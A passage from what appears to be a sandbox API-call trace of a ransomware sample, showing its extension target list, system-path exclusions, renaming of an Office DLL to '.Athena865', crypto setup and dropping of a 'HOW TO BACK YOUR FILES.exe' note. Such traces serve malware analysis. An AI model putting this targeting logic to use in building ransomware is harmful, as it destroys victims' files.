[0074.182] lstrlenW (lpString="fcd") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0074.182] lstrlenW (lpString="fdb") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0074.182] lstrlenW (lpString="fic") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0074.182] lstrlenW (lpString="flexolibrary") returned 12 [0074.182] lstrlenW (lpString="fm5") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0074.182] lstrlenW (lpString="fmp") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0074.182] lstrlenW (lpString="fmp12") returned 5 [0074.182] lstrcmpiW (lpString1="D.DLL", lpString2="fmp12") returned -1 [0074.182] lstrlenW (lpString="fmpsl") returned 5 [0074.182] lstrcmpiW (lpString1="D.DLL", lpString2="fmpsl") returned -1 [0074.182] lstrlenW (lpString="fol") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0074.182] lstrlenW (lpString="fp3") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0074.182] lstrlenW (lpString="fp4") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0074.182] lstrlenW (lpString="fp5") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0074.183] lstrlenW (lpString="fp7") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0074.183] lstrlenW (lpString="fpt") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0074.183] lstrlenW (lpString="frm") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0074.183] lstrlenW (lpString="gdb") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.183] lstrlenW (lpString="gdb") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.183] lstrlenW (lpString="grdb") returned 4 [0074.183] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0074.183] lstrlenW (lpString="gwi") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0074.183] lstrlenW (lpString="hdb") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0074.183] lstrlenW (lpString="his") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0074.183] lstrlenW (lpString="ib") returned 2 [0074.183] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0074.183] lstrlenW (lpString="idb") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0074.183] lstrlenW (lpString="ihx") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0074.183] lstrlenW (lpString="itdb") returned 4 [0074.183] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0074.183] lstrlenW (lpString="itw") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0074.183] lstrlenW (lpString="jet") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0074.183] lstrlenW (lpString="jtx") returned 3 [0074.183] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0074.184] lstrlenW (lpString="kdb") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0074.184] lstrlenW (lpString="kexi") returned 4 [0074.184] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0074.184] lstrlenW (lpString="kexic") returned 5 [0074.184] lstrcmpiW (lpString1="D.DLL", lpString2="kexic") returned -1 [0074.184] lstrlenW (lpString="kexis") returned 5 [0074.184] lstrcmpiW (lpString1="D.DLL", lpString2="kexis") returned -1 [0074.184] lstrlenW (lpString="lgc") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0074.184] lstrlenW (lpString="lwx") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0074.184] lstrlenW (lpString="maf") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0074.184] lstrlenW (lpString="maq") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0074.184] lstrlenW (lpString="mar") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0074.184] lstrlenW (lpString="marshal") returned 7 [0074.184] lstrcmpiW (lpString1="GND.DLL", lpString2="marshal") returned -1 [0074.184] lstrlenW (lpString="mas") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0074.184] lstrlenW (lpString="mav") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0074.184] lstrlenW (lpString="maw") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0074.184] lstrlenW (lpString="mdbhtml") returned 7 [0074.184] lstrcmpiW (lpString1="GND.DLL", lpString2="mdbhtml") returned -1 [0074.184] lstrlenW (lpString="mdn") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0074.184] lstrlenW (lpString="mdt") returned 3 [0074.184] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0074.184] lstrlenW (lpString="mfd") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0074.185] lstrlenW (lpString="mpd") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0074.185] lstrlenW (lpString="mrg") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0074.185] lstrlenW (lpString="mud") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0074.185] lstrlenW (lpString="mwb") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0074.185] lstrlenW (lpString="myd") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0074.185] lstrlenW (lpString="ndf") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0074.185] lstrlenW (lpString="nnt") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0074.185] lstrlenW (lpString="nrmlib") returned 6 [0074.185] lstrcmpiW (lpString1="ND.DLL", lpString2="nrmlib") returned -1 [0074.185] lstrlenW (lpString="ns2") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0074.185] lstrlenW (lpString="ns3") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0074.185] lstrlenW (lpString="ns4") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0074.185] lstrlenW (lpString="nsf") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0074.185] lstrlenW (lpString="nv") returned 2 [0074.185] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0074.185] lstrlenW (lpString="nv2") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0074.185] lstrlenW (lpString="nwdb") returned 4 [0074.185] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0074.185] lstrlenW (lpString="nyf") returned 3 [0074.185] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0074.186] lstrlenW (lpString="odb") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.186] lstrlenW (lpString="odb") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.186] lstrlenW (lpString="oqy") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0074.186] lstrlenW (lpString="ora") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0074.186] lstrlenW (lpString="orx") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0074.186] lstrlenW (lpString="owc") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0074.186] lstrlenW (lpString="p96") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0074.186] lstrlenW (lpString="p97") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0074.186] lstrlenW (lpString="pan") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0074.186] lstrlenW (lpString="pdb") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0074.186] lstrlenW (lpString="pdm") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0074.186] lstrlenW (lpString="pnz") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0074.186] lstrlenW (lpString="qry") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0074.186] lstrlenW (lpString="qvd") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0074.186] lstrlenW (lpString="rbf") returned 3 [0074.186] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0074.186] lstrlenW (lpString="rctd") returned 4 [0074.186] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0074.187] lstrlenW (lpString="rod") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0074.187] lstrlenW (lpString="rodx") returned 4 [0074.187] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0074.187] lstrlenW (lpString="rpd") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0074.187] lstrlenW (lpString="rsd") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0074.187] lstrlenW (lpString="sas7bdat") returned 8 [0074.187] lstrlenW (lpString="sbf") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0074.187] lstrlenW (lpString="scx") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0074.187] lstrlenW (lpString="sdb") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0074.187] lstrlenW (lpString="sdc") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0074.187] lstrlenW (lpString="sdf") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0074.187] lstrlenW (lpString="sis") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0074.187] lstrlenW (lpString="spq") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0074.187] lstrlenW (lpString="te") returned 2 [0074.187] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0074.187] lstrlenW (lpString="teacher") returned 7 [0074.187] lstrcmpiW (lpString1="GND.DLL", lpString2="teacher") returned -1 [0074.187] lstrlenW (lpString="tmd") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0074.187] lstrlenW (lpString="tps") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0074.187] lstrlenW (lpString="trc") returned 3 [0074.187] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.187] lstrlenW (lpString="trc") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.188] lstrlenW (lpString="trm") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0074.188] lstrlenW (lpString="udb") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0074.188] lstrlenW (lpString="udl") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0074.188] lstrlenW (lpString="usr") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0074.188] lstrlenW (lpString="v12") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0074.188] lstrlenW (lpString="vis") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0074.188] lstrlenW (lpString="vpd") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0074.188] lstrlenW (lpString="vvv") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0074.188] lstrlenW (lpString="wdb") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0074.188] lstrlenW (lpString="wmdb") returned 4 [0074.188] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0074.188] lstrlenW (lpString="wrk") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0074.188] lstrlenW (lpString="xdb") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0074.188] lstrlenW (lpString="xld") returned 3 [0074.188] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0074.188] lstrlenW (lpString="xmlff") returned 5 [0074.188] lstrcmpiW (lpString1="D.DLL", lpString2="xmlff") returned -1 [0074.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL.Athena865") returned 61 [0074.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll.athena865"), dwFlags=0x1) returned 1 [0074.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.193] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=697712) returned 1 [0074.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.193] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.194] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.194] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.195] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa870, lpName=0x0) returned 0x17c [0074.198] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa870) returned 0x2d50000 [0074.230] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.230] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.230] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.231] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.237] CloseHandle (hObject=0x17c) returned 1 [0074.237] CloseHandle (hObject=0x154) returned 1 [0074.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.240] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2=".") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="..") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="windows") returned -1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="bootmgr") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="temp") returned -1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="pagefile.sys") returned -1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="boot") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="ids.txt") returned 1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="ntuser.dat") returned -1 [0074.240] lstrcmpiW (lpString1="Library", lpString2="perflogs") returned -1 [0074.241] lstrcmpiW (lpString1="Library", lpString2="MSBuild") returned -1 [0074.241] lstrlenW (lpString="Library") returned 7 [0074.241] lstrcpyW (in: lpString1=0x241e89e, lpString2="Library" | out: lpString1="Library") returned="Library" [0074.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6c0 [0074.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a030 [0074.241] lstrcatW (in: lpString1="Library", lpString2="\\" | out: lpString1="Library\\") returned="Library\\" [0074.241] lstrcatW (in: lpString1="Library\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Library\\HOW TO BACK YOUR FILES.exe") returned="Library\\HOW TO BACK YOUR FILES.exe" [0074.241] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to back your files.exe"), bFailIfExists=1) returned 1 [0074.246] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2=".") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="..") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="windows") returned -1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="bootmgr") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="temp") returned -1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="pagefile.sys") returned -1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="boot") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="ids.txt") returned 1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="ntuser.dat") returned -1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="perflogs") returned -1 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="MSBuild") returned -1 [0074.246] lstrlenW (lpString="LOGELEMS.DLL") returned 12 [0074.246] lstrcpyW (in: lpString1=0x241e89e, lpString2="LOGELEMS.DLL" | out: lpString1="LOGELEMS.DLL") returned="LOGELEMS.DLL" [0074.246] lstrlenW (lpString="LOGELEMS.DLL") returned 12 [0074.246] lstrlenW (lpString="Athena865") returned 9 [0074.246] lstrcmpiW (lpString1="ELEMS.DLL", lpString2="Athena865") returned 1 [0074.246] lstrlenW (lpString=".dll") returned 4 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2=".dll") returned 1 [0074.246] lstrlenW (lpString=".lnk") returned 4 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2=".lnk") returned 1 [0074.246] lstrlenW (lpString=".ini") returned 4 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2=".ini") returned 1 [0074.246] lstrlenW (lpString=".sys") returned 4 [0074.246] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2=".sys") returned 1 [0074.246] lstrlenW (lpString="LOGELEMS.DLL") returned 12 [0074.246] lstrlenW (lpString="bak") returned 3 [0074.246] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0074.246] lstrlenW (lpString="ba_") returned 3 [0074.246] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0074.247] lstrlenW (lpString="dbb") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0074.247] lstrlenW (lpString="vmdk") returned 4 [0074.247] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0074.247] lstrlenW (lpString="rar") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0074.247] lstrlenW (lpString="zip") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0074.247] lstrlenW (lpString="tgz") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0074.247] lstrlenW (lpString="vbox") returned 4 [0074.247] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0074.247] lstrlenW (lpString="vdi") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0074.247] lstrlenW (lpString="vhd") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0074.247] lstrlenW (lpString="vhdx") returned 4 [0074.247] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0074.247] lstrlenW (lpString="avhd") returned 4 [0074.247] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0074.247] lstrlenW (lpString="db") returned 2 [0074.247] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0074.247] lstrlenW (lpString="db2") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0074.247] lstrlenW (lpString="db3") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0074.247] lstrlenW (lpString="dbf") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0074.247] lstrlenW (lpString="mdf") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0074.247] lstrlenW (lpString="mdb") returned 3 [0074.247] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0074.247] lstrlenW (lpString="sql") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0074.248] lstrlenW (lpString="sqlite") returned 6 [0074.248] lstrcmpiW (lpString1="MS.DLL", lpString2="sqlite") returned -1 [0074.248] lstrlenW (lpString="sqlite3") returned 7 [0074.248] lstrcmpiW (lpString1="EMS.DLL", lpString2="sqlite3") returned -1 [0074.248] lstrlenW (lpString="sqlitedb") returned 8 [0074.248] lstrcmpiW (lpString1="LEMS.DLL", lpString2="sqlitedb") returned -1 [0074.248] lstrlenW (lpString="xml") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0074.248] lstrlenW (lpString="$er") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0074.248] lstrlenW (lpString="4dd") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0074.248] lstrlenW (lpString="4dl") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0074.248] lstrlenW (lpString="^^^") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0074.248] lstrlenW (lpString="abs") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0074.248] lstrlenW (lpString="abx") returned 3 [0074.248] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0074.248] lstrlenW (lpString="accdb") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0074.248] lstrlenW (lpString="accdc") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0074.248] lstrlenW (lpString="accde") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0074.248] lstrlenW (lpString="accdr") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0074.248] lstrlenW (lpString="accdt") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0074.248] lstrlenW (lpString="accdw") returned 5 [0074.248] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0074.248] lstrlenW (lpString="accft") returned 5 [0074.249] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0074.249] lstrlenW (lpString="adb") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.249] lstrlenW (lpString="adb") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.249] lstrlenW (lpString="ade") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0074.249] lstrlenW (lpString="adf") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0074.249] lstrlenW (lpString="adn") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0074.249] lstrlenW (lpString="adp") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0074.249] lstrlenW (lpString="alf") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0074.249] lstrlenW (lpString="ask") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0074.249] lstrlenW (lpString="btr") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0074.249] lstrlenW (lpString="cat") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0074.249] lstrlenW (lpString="cdb") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0074.249] lstrlenW (lpString="ckp") returned 3 [0074.249] 